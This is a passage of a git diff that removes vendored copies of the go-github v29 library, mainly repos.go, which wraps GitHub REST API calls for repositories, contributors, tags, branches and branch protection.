deletes a reaction. -// -// GitHub API docs: https://developer.github.com/v3/reaction/reactions/#delete-a-reaction-archive -func (s *ReactionsService) DeleteReaction(ctx context.Context, id int64) (*Response, error) { - u := fmt.Sprintf("reactions/%v", id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/repos.go b/vendor/github.com/google/go-github/v29/github/repos.go deleted file mode 100644 index c695d8c0bb..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos.go +++ /dev/null @@ -1,1462 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "encoding/json" - "fmt" - "strings" -) - -// RepositoriesService handles communication with the repository related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/repos/ -type RepositoriesService service - -// Repository represents a GitHub repository. -type Repository struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Owner *User `json:"owner,omitempty"` - Name *string `json:"name,omitempty"` - FullName *string `json:"full_name,omitempty"` - Description *string `json:"description,omitempty"` - Homepage *string `json:"homepage,omitempty"` - CodeOfConduct *CodeOfConduct `json:"code_of_conduct,omitempty"` - DefaultBranch *string `json:"default_branch,omitempty"` - MasterBranch *string `json:"master_branch,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - PushedAt *Timestamp `json:"pushed_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - CloneURL *string `json:"clone_url,omitempty"` - GitURL *string `json:"git_url,omitempty"` - MirrorURL *string `json:"mirror_url,omitempty"` - SSHURL *string `json:"ssh_url,omitempty"` - SVNURL *string `json:"svn_url,omitempty"` - Language *string `json:"language,omitempty"` - Fork *bool `json:"fork,omitempty"` - ForksCount *int `json:"forks_count,omitempty"` - NetworkCount *int `json:"network_count,omitempty"` - OpenIssuesCount *int `json:"open_issues_count,omitempty"` - StargazersCount *int `json:"stargazers_count,omitempty"` - SubscribersCount *int `json:"subscribers_count,omitempty"` - WatchersCount *int `json:"watchers_count,omitempty"` - Size *int `json:"size,omitempty"` - AutoInit *bool `json:"auto_init,omitempty"` - Parent *Repository `json:"parent,omitempty"` - Source *Repository `json:"source,omitempty"` - TemplateRepository *Repository `json:"template_repository,omitempty"` - Organization *Organization `json:"organization,omitempty"` - Permissions *map[string]bool `json:"permissions,omitempty"` - AllowRebaseMerge *bool `json:"allow_rebase_merge,omitempty"` - AllowSquashMerge *bool `json:"allow_squash_merge,omitempty"` - AllowMergeCommit *bool `json:"allow_merge_commit,omitempty"` - Topics []string `json:"topics,omitempty"` - Archived *bool `json:"archived,omitempty"` - Disabled *bool `json:"disabled,omitempty"` - - // Only provided when using RepositoriesService.Get while in preview - License *License `json:"license,omitempty"` - - // Additional mutable fields when creating and editing a repository - Private *bool `json:"private,omitempty"` - HasIssues *bool `json:"has_issues,omitempty"` - HasWiki *bool `json:"has_wiki,omitempty"` - HasPages *bool `json:"has_pages,omitempty"` - HasProjects *bool `json:"has_projects,omitempty"` - HasDownloads *bool `json:"has_downloads,omitempty"` - IsTemplate *bool `json:"is_template,omitempty"` - LicenseTemplate *string `json:"license_template,omitempty"` - GitignoreTemplate *string `json:"gitignore_template,omitempty"` - - // Creating an organization repository. Required for non-owners. - TeamID *int64 `json:"team_id,omitempty"` - - // API URLs - URL *string `json:"url,omitempty"` - ArchiveURL *string `json:"archive_url,omitempty"` - AssigneesURL *string `json:"assignees_url,omitempty"` - BlobsURL *string `json:"blobs_url,omitempty"` - BranchesURL *string `json:"branches_url,omitempty"` - CollaboratorsURL *string `json:"collaborators_url,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - CommitsURL *string `json:"commits_url,omitempty"` - CompareURL *string `json:"compare_url,omitempty"` - ContentsURL *string `json:"contents_url,omitempty"` - ContributorsURL *string `json:"contributors_url,omitempty"` - DeploymentsURL *string `json:"deployments_url,omitempty"` - DownloadsURL *string `json:"downloads_url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - ForksURL *string `json:"forks_url,omitempty"` - GitCommitsURL *string `json:"git_commits_url,omitempty"` - GitRefsURL *string `json:"git_refs_url,omitempty"` - GitTagsURL *string `json:"git_tags_url,omitempty"` - HooksURL *string `json:"hooks_url,omitempty"` - IssueCommentURL *string `json:"issue_comment_url,omitempty"` - IssueEventsURL *string `json:"issue_events_url,omitempty"` - IssuesURL *string `json:"issues_url,omitempty"` - KeysURL *string `json:"keys_url,omitempty"` - LabelsURL *string `json:"labels_url,omitempty"` - LanguagesURL *string `json:"languages_url,omitempty"` - MergesURL *string `json:"merges_url,omitempty"` - MilestonesURL *string `json:"milestones_url,omitempty"` - NotificationsURL *string `json:"notifications_url,omitempty"` - PullsURL *string `json:"pulls_url,omitempty"` - ReleasesURL *string `json:"releases_url,omitempty"` - StargazersURL *string `json:"stargazers_url,omitempty"` - StatusesURL *string `json:"statuses_url,omitempty"` - SubscribersURL *string `json:"subscribers_url,omitempty"` - SubscriptionURL *string `json:"subscription_url,omitempty"` - TagsURL *string `json:"tags_url,omitempty"` - TreesURL *string `json:"trees_url,omitempty"` - TeamsURL *string `json:"teams_url,omitempty"` - - // TextMatches is only populated from search results that request text matches - // See: search.go and https://developer.github.com/v3/search/#text-match-metadata - TextMatches []TextMatch `json:"text_matches,omitempty"` -} - -func (r Repository) String() string { - return Stringify(r) -} - -// BranchListOptions specifies the optional parameters to the -// RepositoriesService.ListBranches method. -type BranchListOptions struct { - // Setting to true returns only protected branches. - // When set to false, only unprotected branches are returned. - // Omitting this parameter returns all branches. - // Default: nil - Protected *bool `url:"protected,omitempty"` - - ListOptions -} - -// RepositoryListOptions specifies the optional parameters to the -// RepositoriesService.List method. -type RepositoryListOptions struct { - // Visibility of repositories to list. Can be one of all, public, or private. - // Default: all - Visibility string `url:"visibility,omitempty"` - - // List repos of given affiliation[s]. - // Comma-separated list of values. Can include: - // * owner: Repositories that are owned by the authenticated user. - // * collaborator: Repositories that the user has been added to as a - // collaborator. - // * organization_member: Repositories that the user has access to through - // being a member of an organization. This includes every repository on - // every team that the user is on. - // Default: owner,collaborator,organization_member - Affiliation string `url:"affiliation,omitempty"` - - // Type of repositories to list. - // Can be one of all, owner, public, private, member. Default: all - // Will cause a 422 error if used in the same request as visibility or - // affiliation. - Type string `url:"type,omitempty"` - - // How to sort the repository list. Can be one of created, updated, pushed, - // full_name. Default: full_name - Sort string `url:"sort,omitempty"` - - // Direction in which to sort repositories. Can be one of asc or desc. - // Default: when using full_name: asc; otherwise desc - Direction string `url:"direction,omitempty"` - - ListOptions -} - -// List the repositories for a user. Passing the empty string will list -// repositories for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-user-repositories -func (s *RepositoriesService) List(ctx context.Context, user string, opt *RepositoryListOptions) ([]*Repository, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/repos", user) - } else { - u = "user/repos" - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeTopicsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var repos []*Repository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// RepositoryListByOrgOptions specifies the optional parameters to the -// RepositoriesService.ListByOrg method. -type RepositoryListByOrgOptions struct { - // Type of repositories to list. Possible values are: all, public, private, - // forks, sources, member. Default is "all". - Type string `url:"type,omitempty"` - - // How to sort the repository list. Can be one of created, updated, pushed, - // full_name. Default is "created". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort repositories. Can be one of asc or desc. - // Default when using full_name: asc; otherwise desc. - Direction string `url:"direction,omitempty"` - - ListOptions -} - -// ListByOrg lists the repositories for an organization. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-organization-repositories -func (s *RepositoriesService) ListByOrg(ctx context.Context, org string, opt *RepositoryListByOrgOptions) ([]*Repository, *Response, error) { - u := fmt.Sprintf("orgs/%v/repos", org) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeTopicsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var repos []*Repository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// RepositoryListAllOptions specifies the optional parameters to the -// RepositoriesService.ListAll method. -type RepositoryListAllOptions struct { - // ID of the last repository seen - Since int64 `url:"since,omitempty"` -} - -// ListAll lists all GitHub repositories in the order that they were created. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-all-public-repositories -func (s *RepositoriesService) ListAll(ctx context.Context, opt *RepositoryListAllOptions) ([]*Repository, *Response, error) { - u, err := addOptions("repositories", opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var repos []*Repository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// createRepoRequest is a subset of Repository and is used internally -// by Create to pass only the known fields for the endpoint. -// -// See https://github.com/google/go-github/issues/1014 for more -// information. -type createRepoRequest struct { - // Name is required when creating a repo. - Name *string `json:"name,omitempty"` - Description *string `json:"description,omitempty"` - Homepage *string `json:"homepage,omitempty"` - - Private *bool `json:"private,omitempty"` - HasIssues *bool `json:"has_issues,omitempty"` - HasProjects *bool `json:"has_projects,omitempty"` - HasWiki *bool `json:"has_wiki,omitempty"` - IsTemplate *bool `json:"is_template,omitempty"` - - // Creating an organization repository. Required for non-owners. - TeamID *int64 `json:"team_id,omitempty"` - - AutoInit *bool `json:"auto_init,omitempty"` - GitignoreTemplate *string `json:"gitignore_template,omitempty"` - LicenseTemplate *string `json:"license_template,omitempty"` - AllowSquashMerge *bool `json:"allow_squash_merge,omitempty"` - AllowMergeCommit *bool `json:"allow_merge_commit,omitempty"` - AllowRebaseMerge *bool `json:"allow_rebase_merge,omitempty"` -} - -// Create a new repository. If an organization is specified, the new -// repository will be created under that org. If the empty string is -// specified, it will be created for the authenticated user. -// -// Note that only a subset of the repo fields are used and repo must -// not be nil. -// -// GitHub API docs: https://developer.github.com/v3/repos/#create -func (s *RepositoriesService) Create(ctx context.Context, org string, repo *Repository) (*Repository, *Response, error) { - var u string - if org != "" { - u = fmt.Sprintf("orgs/%v/repos", org) - } else { - u = "user/repos" - } - - repoReq := &createRepoRequest{ - Name: repo.Name, - Description: repo.Description, - Homepage: repo.Homepage, - Private: repo.Private, - HasIssues: repo.HasIssues, - HasProjects: repo.HasProjects, - HasWiki: repo.HasWiki, - IsTemplate: repo.IsTemplate, - TeamID: repo.TeamID, - AutoInit: repo.AutoInit, - GitignoreTemplate: repo.GitignoreTemplate, - LicenseTemplate: repo.LicenseTemplate, - AllowSquashMerge: repo.AllowSquashMerge, - AllowMergeCommit: repo.AllowMergeCommit, - AllowRebaseMerge: repo.AllowRebaseMerge, - } - - req, err := s.client.NewRequest("POST", u, repoReq) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeRepositoryTemplatePreview) - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// TemplateRepoRequest represents a request to create a repository from a template. -type TemplateRepoRequest struct { - // Name is required when creating a repo. - Name *string `json:"name,omitempty"` - Owner *string `json:"owner,omitempty"` - Description *string `json:"description,omitempty"` - - Private *bool `json:"private,omitempty"` -} - -// CreateFromTemplate generates a repository from a template. -// -// GitHub API docs: https://developer.github.com/v3/repos/#create-repository-using-a-repository-template -func (s *RepositoriesService) CreateFromTemplate(ctx context.Context, templateOwner, templateRepo string, templateRepoReq *TemplateRepoRequest) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/generate", templateOwner, templateRepo) - - req, err := s.client.NewRequest("POST", u, templateRepoReq) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeRepositoryTemplatePreview) - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// Get fetches a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#get -func (s *RepositoriesService) Get(ctx context.Context, owner, repo string) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when the license support fully launches - // https://developer.github.com/v3/licenses/#get-a-repositorys-license - acceptHeaders := []string{mediaTypeCodesOfConductPreview, mediaTypeTopicsPreview, mediaTypeRepositoryTemplatePreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - repository := new(Repository) - resp, err := s.client.Do(ctx, req, repository) - if err != nil { - return nil, resp, err - } - - return repository, resp, nil -} - -// GetCodeOfConduct gets the contents of a repository's code of conduct. -// -// GitHub API docs: https://developer.github.com/v3/codes_of_conduct/#get-the-contents-of-a-repositorys-code-of-conduct -func (s *RepositoriesService) GetCodeOfConduct(ctx context.Context, owner, repo string) (*CodeOfConduct, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/community/code_of_conduct", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeCodesOfConductPreview) - - coc := new(CodeOfConduct) - resp, err := s.client.Do(ctx, req, coc) - if err != nil { - return nil, resp, err - } - - return coc, resp, nil -} - -// GetByID fetches a repository. -// -// Note: GetByID uses the undocumented GitHub API endpoint /repositories/:id. -func (s *RepositoriesService) GetByID(ctx context.Context, id int64) (*Repository, *Response, error) { - u := fmt.Sprintf("repositories/%d", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - repository := new(Repository) - resp, err := s.client.Do(ctx, req, repository) - if err != nil { - return nil, resp, err - } - - return repository, resp, nil -} - -// Edit updates a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#edit -func (s *RepositoriesService) Edit(ctx context.Context, owner, repo string, repository *Repository) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v", owner, repo) - req, err := s.client.NewRequest("PATCH", u, repository) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeRepositoryTemplatePreview) - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// Delete a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#delete-a-repository -func (s *RepositoriesService) Delete(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// Contributor represents a repository contributor -type Contributor struct { - Login *string `json:"login,omitempty"` - ID *int64 `json:"id,omitempty"` - AvatarURL *string `json:"avatar_url,omitempty"` - GravatarID *string `json:"gravatar_id,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - FollowersURL *string `json:"followers_url,omitempty"` - FollowingURL *string `json:"following_url,omitempty"` - GistsURL *string `json:"gists_url,omitempty"` - StarredURL *string `json:"starred_url,omitempty"` - SubscriptionsURL *string `json:"subscriptions_url,omitempty"` - OrganizationsURL *string `json:"organizations_url,omitempty"` - ReposURL *string `json:"repos_url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - ReceivedEventsURL *string `json:"received_events_url,omitempty"` - Type *string `json:"type,omitempty"` - SiteAdmin *bool `json:"site_admin,omitempty"` - Contributions *int `json:"contributions,omitempty"` -} - -// ListContributorsOptions specifies the optional parameters to the -// RepositoriesService.ListContributors method. -type ListContributorsOptions struct { - // Include anonymous contributors in results or not - Anon string `url:"anon,omitempty"` - - ListOptions -} - -// GetVulnerabilityAlerts checks if vulnerability alerts are enabled for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#check-if-vulnerability-alerts-are-enabled-for-a-repository -func (s *RepositoriesService) GetVulnerabilityAlerts(ctx context.Context, owner, repository string) (bool, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/vulnerability-alerts", owner, repository) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredVulnerabilityAlertsPreview) - - resp, err := s.client.Do(ctx, req, nil) - vulnerabilityAlertsEnabled, err := parseBoolResponse(err) - - return vulnerabilityAlertsEnabled, resp, err -} - -// EnableVulnerabilityAlerts enables vulnerability alerts and the dependency graph for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#enable-vulnerability-alerts -func (s *RepositoriesService) EnableVulnerabilityAlerts(ctx context.Context, owner, repository string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/vulnerability-alerts", owner, repository) - - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredVulnerabilityAlertsPreview) - - return s.client.Do(ctx, req, nil) -} - -// DisableVulnerabilityAlerts disables vulnerability alerts and the dependency graph for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#disable-vulnerability-alerts -func (s *RepositoriesService) DisableVulnerabilityAlerts(ctx context.Context, owner, repository string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/vulnerability-alerts", owner, repository) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredVulnerabilityAlertsPreview) - - return s.client.Do(ctx, req, nil) -} - -// EnableAutomatedSecurityFixes enables the automated security fixes for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#enable-automated-security-fixes -func (s *RepositoriesService) EnableAutomatedSecurityFixes(ctx context.Context, owner, repository string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/automated-security-fixes", owner, repository) - - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredAutomatedSecurityFixesPreview) - - return s.client.Do(ctx, req, nil) -} - -// DisableAutomatedSecurityFixes disables vulnerability alerts and the dependency graph for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#disable-automated-security-fixes -func (s *RepositoriesService) DisableAutomatedSecurityFixes(ctx context.Context, owner, repository string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/automated-security-fixes", owner, repository) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredAutomatedSecurityFixesPreview) - - return s.client.Do(ctx, req, nil) -} - -// ListContributors lists contributors for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-contributors -func (s *RepositoriesService) ListContributors(ctx context.Context, owner string, repository string, opt *ListContributorsOptions) ([]*Contributor, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/contributors", owner, repository) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var contributor []*Contributor - resp, err := s.client.Do(ctx, req, &contributor) - if err != nil { - return nil, nil, err - } - - return contributor, resp, nil -} - -// ListLanguages lists languages for the specified repository. The returned map -// specifies the languages and the number of bytes of code written in that -// language. For example: -// -// { -// "C": 78769, -// "Python": 7769 -// } -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-languages -func (s *RepositoriesService) ListLanguages(ctx context.Context, owner string, repo string) (map[string]int, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/languages", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - languages := make(map[string]int) - resp, err := s.client.Do(ctx, req, &languages) - if err != nil { - return nil, resp, err - } - - return languages, resp, nil -} - -// ListTeams lists the teams for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-teams -func (s *RepositoriesService) ListTeams(ctx context.Context, owner string, repo string, opt *ListOptions) ([]*Team, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/teams", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teams []*Team - resp, err := s.client.Do(ctx, req, &teams) - if err != nil { - return nil, resp, err - } - - return teams, resp, nil -} - -// RepositoryTag represents a repository tag. -type RepositoryTag struct { - Name *string `json:"name,omitempty"` - Commit *Commit `json:"commit,omitempty"` - ZipballURL *string `json:"zipball_url,omitempty"` - TarballURL *string `json:"tarball_url,omitempty"` -} - -// ListTags lists tags for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-tags -func (s *RepositoriesService) ListTags(ctx context.Context, owner string, repo string, opt *ListOptions) ([]*RepositoryTag, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/tags", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var tags []*RepositoryTag - resp, err := s.client.Do(ctx, req, &tags) - if err != nil { - return nil, resp, err - } - - return tags, resp, nil -} - -// Branch represents a repository branch -type Branch struct { - Name *string `json:"name,omitempty"` - Commit *RepositoryCommit `json:"commit,omitempty"` - Protected *bool `json:"protected,omitempty"` -} - -// Protection represents a repository branch's protection. -type Protection struct { - RequiredStatusChecks *RequiredStatusChecks `json:"required_status_checks"` - RequiredPullRequestReviews *PullRequestReviewsEnforcement `json:"required_pull_request_reviews"` - EnforceAdmins *AdminEnforcement `json:"enforce_admins"` - Restrictions *BranchRestrictions `json:"restrictions"` -} - -// ProtectionRequest represents a request to create/edit a branch's protection. -type ProtectionRequest struct { - RequiredStatusChecks *RequiredStatusChecks `json:"required_status_checks"` - RequiredPullRequestReviews *PullRequestReviewsEnforcementRequest `json:"required_pull_request_reviews"` - EnforceAdmins bool `json:"enforce_admins"` - Restrictions *BranchRestrictionsRequest `json:"restrictions"` -} - -// RequiredStatusChecks represents the protection status of a individual branch. -type RequiredStatusChecks struct { - // Require branches to be up to date before merging. (Required.) - Strict bool `json:"strict"` - // The list of status checks to require in order to merge into this - // branch. (Required; use []string{} instead of nil for empty list.) - Contexts []string `json:"contexts"` -} - -// RequiredStatusChecksRequest represents a request to edit a protected branch's status checks. -type RequiredStatusChecksRequest struct { - Strict *bool `json:"strict,omitempty"` - Contexts []string `json:"contexts,omitempty"` -} - -// PullRequestReviewsEnforcement represents the pull request reviews enforcement of a protected branch. -type PullRequestReviewsEnforcement struct { - // Specifies which users and teams can dismiss pull request reviews. - DismissalRestrictions *DismissalRestrictions `json:"dismissal_restrictions,omitempty"` - // Specifies if approved reviews are dismissed automatically, when a new commit is pushed. - DismissStaleReviews bool `json:"dismiss_stale_reviews"` - // RequireCodeOwnerReviews specifies if an approved review is required in pull requests including files with a designated code owner. - RequireCodeOwnerReviews bool `json:"require_code_owner_reviews"` - // RequiredApprovingReviewCount specifies the number of approvals required before the pull request can be merged. - // Valid values are 1-6. - RequiredApprovingReviewCount int `json:"required_approving_review_count"` -} - -// PullRequestReviewsEnforcementRequest represents request to set the pull request review -// enforcement of a protected branch. It is separate from PullRequestReviewsEnforcement above -// because the request structure is different from the response structure. -type PullRequestReviewsEnforcementRequest struct { - // Specifies which users and teams should be allowed to dismiss pull request reviews. - // User and team dismissal restrictions are only available for - // organization-owned repositories. Must be nil for personal repositories. - DismissalRestrictionsRequest *DismissalRestrictionsRequest `json:"dismissal_restrictions,omitempty"` - // Specifies if approved reviews can be dismissed automatically, when a new commit is pushed. (Required) - DismissStaleReviews bool `json:"dismiss_stale_reviews"` - // RequireCodeOwnerReviews specifies if an approved review is required in pull requests including files with a designated code owner. - RequireCodeOwnerReviews bool `json:"require_code_owner_reviews"` - // RequiredApprovingReviewCount specifies the number of approvals required before the pull request can be merged. - // Valid values are 1-6. - RequiredApprovingReviewCount int `json:"required_approving_review_count"` -} - -// PullRequestReviewsEnforcementUpdate represents request to patch the pull request review -// enforcement of a protected branch. It is separate from PullRequestReviewsEnforcementRequest above -// because the patch request does not require all fields to be initialized. -type PullRequestReviewsEnforcementUpdate struct { - // Specifies which users and teams can dismiss pull request reviews. Can be omitted. - DismissalRestrictionsRequest *DismissalRestrictionsRequest `json:"dismissal_restrictions,omitempty"` - // Specifies if approved reviews can be dismissed automatically, when a new commit is pushed. Can be omitted. - DismissStaleReviews *bool `json:"dismiss_stale_reviews,omitempty"` - // RequireCodeOwnerReviews specifies if an approved review is required in pull requests including files with a designated code owner. - RequireCodeOwnerReviews bool `json:"require_code_owner_reviews,omitempty"` - // RequiredApprovingReviewCount specifies the number of approvals required before the pull request can be merged. - // Valid values are 1 - 6. - RequiredApprovingReviewCount int `json:"required_approving_review_count"` -} - -// AdminEnforcement represents the configuration to enforce required status checks for repository administrators. -type AdminEnforcement struct { - URL *string `json:"url,omitempty"` - Enabled bool `json:"enabled"` -} - -// BranchRestrictions represents the restriction that only certain users or -// teams may push to a branch. -type BranchRestrictions struct { - // The list of user logins with push access. - Users []*User `json:"users"` - // The list of team slugs with push access. - Teams []*Team `json:"teams"` - // The list of app slugs with push access. - Apps []*App `json:"apps"` -} - -// BranchRestrictionsRequest represents the request to create/edit the -// restriction that only certain users or teams may push to a branch. It is -// separate from BranchRestrictions above because the request structure is -// different from the response structure. -type BranchRestrictionsRequest struct { - // The list of user logins with push access. (Required; use []string{} instead of nil for empty list.) - Users []string `json:"users"` - // The list of team slugs with push access. (Required; use []string{} instead of nil for empty list.) - Teams []string `json:"teams"` - // The list of app slugs with push access. - Apps []string `json:"apps,omitempty"` -} - -// DismissalRestrictions specifies which users and teams can dismiss pull request reviews. -type DismissalRestrictions struct { - // The list of users who can dimiss pull request reviews. - Users []*User `json:"users"` - // The list of teams which can dismiss pull request reviews. - Teams []*Team `json:"teams"` -} - -// DismissalRestrictionsRequest represents the request to create/edit the -// restriction to allows only specific users or teams to dimiss pull request reviews. It is -// separate from DismissalRestrictions above because the request structure is -// different from the response structure. -// Note: Both Users and Teams must be nil, or both must be non-nil. -type DismissalRestrictionsRequest struct { - // The list of user logins who can dismiss pull request reviews. (Required; use nil to disable dismissal_restrictions or &[]string{} otherwise.) - Users *[]string `json:"users,omitempty"` - // The list of team slugs which can dismiss pull request reviews. (Required; use nil to disable dismissal_restrictions or &[]string{} otherwise.) - Teams *[]string `json:"teams,omitempty"` -} - -// SignaturesProtectedBranch represents the protection status of an individual branch. -type SignaturesProtectedBranch struct { - URL *string `json:"url,omitempty"` - // Commits pushed to matching branches must have verified signatures. - Enabled *bool `json:"enabled,omitempty"` -} - -// ListBranches lists branches for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-branches -func (s *RepositoriesService) ListBranches(ctx context.Context, owner string, repo string, opt *BranchListOptions) ([]*Branch, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - var branches []*Branch - resp, err := s.client.Do(ctx, req, &branches) - if err != nil { - return nil, resp, err - } - - return branches, resp, nil -} - -// GetBranch gets the specified branch for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#get-branch -func (s *RepositoriesService) GetBranch(ctx context.Context, owner, repo, branch string) (*Branch, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - b := new(Branch) - resp, err := s.client.Do(ctx, req, b) - if err != nil { - return nil, resp, err - } - - return b, resp, nil -} - -// GetBranchProtection gets the protection of a given branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#get-branch-protection -func (s *RepositoriesService) GetBranchProtection(ctx context.Context, owner, repo, branch string) (*Protection, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredApprovingReviewsPreview) - - p := new(Protection) - resp, err := s.client.Do(ctx, req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, nil -} - -// GetRequiredStatusChecks gets the required status checks for a given protected branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/branches/#get-required-status-checks-of-protected-branch -func (s *RepositoriesService) GetRequiredStatusChecks(ctx context.Context, owner, repo, branch string) (*RequiredStatusChecks, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/branches/%v/protection/required_status_checks", owner, repo, branch) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove 